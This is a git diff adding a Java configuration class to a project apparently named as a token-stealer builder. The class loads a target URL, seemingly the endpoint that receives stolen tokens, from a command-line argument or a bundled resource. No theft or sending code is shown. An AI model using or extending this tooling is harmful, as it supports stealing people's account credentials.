diff options
Diffstat (limited to 'src/main/java/de/romjaki/tokenstealer/builder/Config.java')
-rw-r--r-- | src/main/java/de/romjaki/tokenstealer/builder/Config.java | 34 |
1 files changed, 34 insertions, 0 deletions
diff --git a/src/main/java/de/romjaki/tokenstealer/builder/Config.java b/src/main/java/de/romjaki/tokenstealer/builder/Config.java new file mode 100644 index 0000000..ea547f7 --- /dev/null +++ b/src/main/java/de/romjaki/tokenstealer/builder/Config.java @@ -0,0 +1,34 @@ +package de.romjaki.tokenstealer.builder; + +import java.util.Scanner; + +public class Config { + + public static Config INSTANCE; + + private String request; + + public Config(String request) { + this.request = request; + } + + private static Config getConfig() { + try (Scanner scanner = new Scanner(Config.class.getResourceAsStream("/request")) + .useDelimiter("\\A")) { + return new Config(scanner.next()); + } catch (NullPointerException e) { + return null; + } + } + + public static Config load(String[] args) { + if (args.length == 2 && args[0].equals("--url")) { + return INSTANCE = new Config(args[1]); + } + return INSTANCE = getConfig(); + } + + public String getRequest() { + return request; + } +} |